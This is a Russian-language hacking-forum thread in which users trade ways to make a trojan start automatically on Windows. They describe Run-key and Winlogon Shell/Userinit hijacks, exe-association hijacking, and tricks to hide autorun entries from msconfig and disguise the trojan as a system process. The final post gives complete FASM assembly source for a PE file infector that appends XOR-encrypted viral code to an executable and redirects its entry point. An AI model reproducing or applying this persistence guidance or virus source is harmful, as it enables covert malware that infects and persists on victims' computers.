• XSS.stack #1 – первый литературный журнал от юзеров форума

Куда прописать троян

Маринка

(L1) cache
Пользователь
Регистрация
18.08.2005
Сообщения
590
Реакции
1
Собственно сабж


места как банальные так и что-нибудь пооригинальнее .....

самое грустное : в ветку ...\Current version\Run потому как легко убивается через msconfig
 
Я использую для загрузки "троянов" DLL библиотеку, трой запускается с системными правами (поэтому не выделяется среди процессов в "диспетчере задач"), а сам файл находится по адрессу C:\WINDOWS\System32\config\services.exe (или подобно).

З.Ы. Попробуйте скопировать затем переименовать блокнот на services.exe и попробуйте завершить его через диспетчер ;).
 
такая фича не только с services.exe

а еще с

winlogon.exe
svchost.exe
lsass.exe
smss.exe
 
непомню точно, но вроде можно как второй шелл запускать

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon


тут
Shell = Explorer.exe
если сделать
Shell =Explorer.exe notepad.exe

то должен и explorer и notepad стартануть.. хотя точно не помню :D

----------------
создаем в CLSIDax свою ветку
и прописываем в
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\ShellServiceObjectDelayLoad
какнить назвав и присвоив в качестве параметра тот CLSID

но трой надо писать как ДЛЛку
и она будет подключена к explorer.exe

так че можно подключить к winlogonu
или например закинуть в диск c:\ файл autorun.inf и создать в нем как бы авторан проги....

или асациировать например с .exe и потом обрабатывать параметр и выполнять что нужно....
 
чтоб скрыть от msconfiga авторан
можно в той же ветке
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
в наглую создать
создать ключик с очень длинным названием
и в параметре написать типа
c:\windows\notepad.exe aaaaaaaaaaaa....aaaaaaa (дохера)

и таким макаром и в реестре не видно и в msconfige
 
AHTOLLlKA
но трой надо писать как ДЛЛку
и она будет подключена к explorer.exe
А нероще тогда уж написать длл'ку которая будет трой запускать, замутить инсталлер для длл и склеить это все дело джоинером?
 
>А нероще тогда уж написать длл'ку которая будет трой запускать,
>замутить инсталлер для длл и склеить это все дело джоинером?

смысла не вижу писать инсталер..
чем тя ддлка не устроит ??
этож полноценное приложение будет.. епт
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon

ключ userinit, через запятую путь до троя =)

з.ы.
svchost.exe через диспетчер задач нормально завершается ;)
 
Способы автозагрузки
1. Папка Автозагрузки (START-UP FOLDER). Раобтает во всех версиях windows. Windows 9x имеет одну общую папку Автозагрузки. windows NT ( 2000/XP/2003) имеет одну папку для всех пользователей, и для каждого пользователя в отдельности.

c:\Documents and Settings\All Users\Start Menu\Programs\Startup
c:\Documents and Settings\[Имя пользователя]\Start Menu\Programs\Startup

C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка
C:\Documents and Settings\[Имя пользователя]\Главное меню\Программы\Автозагрузка

Windows открывает все файлы которые находит в папке Автозагрузки при старте/входе в систему. Папку легко найти, что бы удалить программу достаточно правого щелчка мышью и выбора пунккта "Удалить".
Нужно заметить что "открывает" не означает "запускает": если это *.txt файл -- будет запущен Блокнот, если это *.wav файл - будет запущена ассоцииованная с ним программа. Обычно в Автозагрузку помещают ярлыки на программы, но там также могут находится сами программы/документы.


Порядок загрузки WINDOWS NT4/2000/XP
Пользователь вводит пароль и входит в систему

2. Реестр Windows выполняет все команды указанные в ветви "Run" реестра. Пунктами в этом разделе реестра (или в других частях реестра, которые указаны ниже) могут быть программы или файлы открываемые программами, как указано выше.

Все ветви запуска:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunEx]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunEx]

3. Реестр. Windows выполняет все команды указанные в ветви "RunServices" реестра

Computer Management -> Services - пункты установленные в "Automatic" ( Пуск - Выполнить - services.msc : Тип запуска "Авто" )

4. Реестр. Windows выполняет все команды из ветви "RunOnce" реестра

5. Реестр. Windows выполняет командыиз ветви "RunServicesOnce" реестра. (Windows использует две ветви "RunOnce" для запуска программ только один раз, обычно после перезагрузки при установке программ)

7. Реестр. Windows выполняет команды из ветви HKEY_CLASSES_ROOT\exefile\shell\open\command "%1" %* реестра. Любый указанные здесь команды будут выполнены при запуске любого *.exe файла

Другие возможности:

[HKEY_CLASSES_ROOT\exefile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] ="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] ="\"%1\"
%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] ="\"%1\"
%*"

Если ключ не имеющий "\"%1\" %*" как показано, будет изменен например на "\"somefilename.exe %1\" %*" тогда автоматически будет запускаться указанный файл.

8. Пакетные файлы ( файлы командного интерпритатора). Windows выполняет все инструкции из файла WINSTART.BAT, расположенного в папке Windows. (Этот файл не слишком широко используется системой и пользователями и может отсутсвовать в системе. Но вы легко можете создать его сами. Только не забудьте что в некоторых версиях Windows каталог системы может называться иначе, например WinNT ).

9. Файлы настроек. Windows выполняет все команды указанные в строках, начинающихся с "RUN=" в файле WIN.INI, расположенном в папке Windows (или WinNT).

10. Файлы настроек Windows запускает все что указано в строках, начинающихся с "LOAD=" в файле WIN.INI, расположенном в папке Windows (или WinNT).

Так же запускается то, что указано в строке shell= файла System.ini
Код:
[boot] 
shell=explorer.exe C:\windows\filename
Файл указанный после explorer.exe будет запускаться при каждом старте системы.

Записи в Win.ini должны быть приведены к такому виду, что бы имя файла не содержало пробелов. Обычно указывается полный путьк файлу, в противном случае файл запускается из папки Windows ( вообще то из всех каталогов указанных в %PATH%)


11 Перезапуск Windows может перезапускать приложения которые были запущены в момент отключения системы.. С большей частью программ от сторонних производителей Windows не может провернуть этот трюк, но это легко делается с Internet Explorer или с Проводником (Windows Explorer), файловым менеджером встроенном в Windows. Если при выключении компьютера у вас был запущен IE, после перезагрузки Windows может( зависит от настроек) запустить его снова на тойже странице. (Если это не происходит проверьте настроки системы)

12. Планировщик Задач (TASK SCHEDULER). Windows запускает программы добавленные в Планировщик(или выплняет другие задания добавленные в список программы). Планировщик задач является официальной частью Windows начиная с первых версий Windows 95. Программа ( /служба) может быть отключена, в таком случае задачи не выполняются.

13. Загрузка сторонними программами Программы которые Windows запускает при старте в свою очередь могут сами открывать(/запускать) различные программы при своем старте.

14. C:\EXPLORER.EXE

C:\Explorer.exe

Windows загружает explorer.exe (обычно расположенный в папке Windows) при загрузке. Но если существует файл C:\explorer.exe при запуске он будет запущен вместо %windir%\explorer.exe

15.Дополнения

Дополнительные методы. Первые два используюются в трояне SubSeven 2.2.

HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\explorer\Usershell folders

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]
"Path"="test.exe"
"Startup"="c:\\test"
"Parameters"=""
"Enable"="Yes"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\]

[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] ="Scrap object"
"NeverShowExt"=""

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute]


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\UserInit]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell]




Перевод: Марина vs DFCZ
Thx : Tilan
 
Я за захват userinit.exe своим приложением(подмена) потом когда трой стартанул
срочно возвратить на место виндошный и загрузить его, потом обратно трою.

Имхо: Нет лишних реестровых записей и ларчик просто скрывается :baby:
 
Вот так примерно!Использовались оригинальные исходники
ct757 и FreeMan

format PE GUI 4.0

include 'include\win32a.inc'

section '.main' code readable writeable



vir_start:


call delta
delta:
pop ebp
mov eax,ebp
sub eax,delta
je .next0

call crypt_all

.next0:
jmp start_crypt1

start_crypt1:
mov eax,[fs:30h]
mov eax,[eax+0Ch]
mov eax,[eax+1Ch]
mov eax,[eax]
mov eax,[eax+8h]
mov edx,eax
mov [ebp+k_base-delta],edx
mov ebx,[eax+3Ch]
add ebx,edx
add eax,[ebx+78h]
push eax
mov esi,edx
add esi,[eax+20h]
mov ebx,edx
add ebx,[eax+24h]
mov eax,[eax+18h]
cld

search:
push esi
mov esi,[esi]
add esi,edx
lea edi,[ebp+_GetProcAddress-delta]
mov ecx,7
repz cmpsw
pop esi
jecxz hurra
add esi,4
inc eax
inc ebx
inc ebx
jne search


hurra:
movzx eax,word [ebx]
rol eax,2
pop ebx
mov esi,[ebx+1Ch]
add esi,edx
add esi,eax
mov esi,[esi]
add esi,edx
mov [ebp+pGetProcAddress-delta],esi
lea eax,[ebp+_test-delta]
push 1
push eax
lea eax,[ebp+_WinExec-delta]
call get_API
call eax




_push db 068h
EIPs dd ?
_ret db 0C3h

get_API:
push eax
lea eax,[ebp+k_base-delta]
push dword [eax]
call [ebp+pGetProcAddress-delta]
ret



_test db 'Tcpview.exe',0

k_base dd ?

_GetProcAddress db 'GetProcAddress',0
pGetProcAddress dd ?

_WinExec db 'WinExec',0


end_crypt1:

crypt_all:
pusha
lea esi,[ebp+start_crypt1-delta]
mov edi,esi
mov ecx,(end_crypt1-start_crypt1)
.crypt0:
lodsb
xor al,75
stosb
dec ecx
jne .crypt0

popa
ret

vir_end:




;--------------------------------------------------------------------------------;
; [infect]
;--------------------------------------------------------------------------------;

proc infect,hfile,virsize
locals
hFO dd ?
FSizeL dd ?
hFM dd ?
pFM dd ?
file_align dd ?
endl

invoke CreateFile,[hfile],0C0000000h,0,0,3,0,0
mov [hFO],eax
inc eax
jz close_file
invoke GetFileSize,eax,0
mov ecx,eax
push ecx
xor ebx,ebx

crFM:
mov eax,[hFO]
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,ecx,NULL
test eax,eax
jz close_file
mov [hFM],eax

MVF:
invoke MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0
test eax,eax
jz zeroid

mov [pFM],eax
test ebx,ebx
jnz dali_bude
cmp word [eax],'MZ'
jne UVF
add eax,[eax+3Ch]
cmp word [eax],'PE'
jne UVF
cmp dword [eax+44h],'VIR '
je UVF
mov ecx,[eax+3ch]
mov [file_align],ecx
inc ebx
jmp UVF
step1:
mov eax,[virsize]
stdcall aligning,[file_align]
al_done:
pop ecx
add ecx,eax

jmp crFM

dali_bude:

push eax
add eax,[eax+3ch]
push eax
movzx ecx,word [eax+6]
jmp last_sec_find
ls_found:
pop esi
mov eax,dword [esi+28h]
add eax,dword [esi+34h]
mov dword [EIPs],eax

pop eax
push esi
push edi
mov edi,[edi+10h]
lea edi,[ebx+edi]
add edi,eax
mov ecx,[virsize]
lea esi,[vir_start]
call _crypt_all
rep movsb
pop edi
pop esi


mov eax,dword[edi+0ch]
add eax,dword [edi+10h]
mov dword [esi+28h],eax
mov eax,[virsize]
stdcall aligning,[file_align]
add dword [edi+10h],eax
add dword [edi+8],eax
mov eax,[edi+0ch]
add eax,dword [edi+8]
mov dword [esi+50h],eax
mov dword [esi+44h],'VIR '
xor ebx,ebx
UVF:
invoke UnmapViewOfFile,[pFM]
invoke CloseHandle,[hFM]
test ebx,ebx
jnz step1
close_file:
invoke CloseHandle,[hFO]
invoke ExitProcess,0

last_sec_find:
movzx edi,word [eax+14h]
lea eax,[eax+edi+18h]
mov ebx,[eax+14h]
mov edx,[eax+0ch]

scoffs:
mov dword[eax+24h],0A0000020h
cmp ebx,[eax+14h]
ja shvrva
mov ebx,[eax+14h]
mov esi,eax
shvrva:
cmp edx,[eax+0ch]
ja nextobj
mov edx,[eax+0ch]
mov edi,eax
nextobj:
add eax,28h
loop scoffs
cmp esi,edi
je ls_found
pop eax
pop eax
jmp zeroid

zeroid:
xor ebx,ebx
jmp UVF

endp

;--------------------------------------------------------------------------------;
; [aligning]
;--------------------------------------------------------------------------------;

proc aligning,size_align
mov ecx,[size_align]
dec ecx
add eax,ecx
not ecx
and eax,ecx
ret

endp


_crypt_all:
pusha
lea esi,[start_crypt1]
mov edi,esi
mov ecx,(end_crypt1-start_crypt1)
.crypt0:
lodsb
xor al,75
stosb
dec ecx
jne .crypt0
popa
ret


filename db 'scanner.exe',0
VIR_SIZE = vir_end-vir_start

entry $

stdcall infect,filename,VIR_SIZE
ret



data import

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'

include 'include\APIA\kernel32.inc'
include 'include\APIA\user32.inc'

end data
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх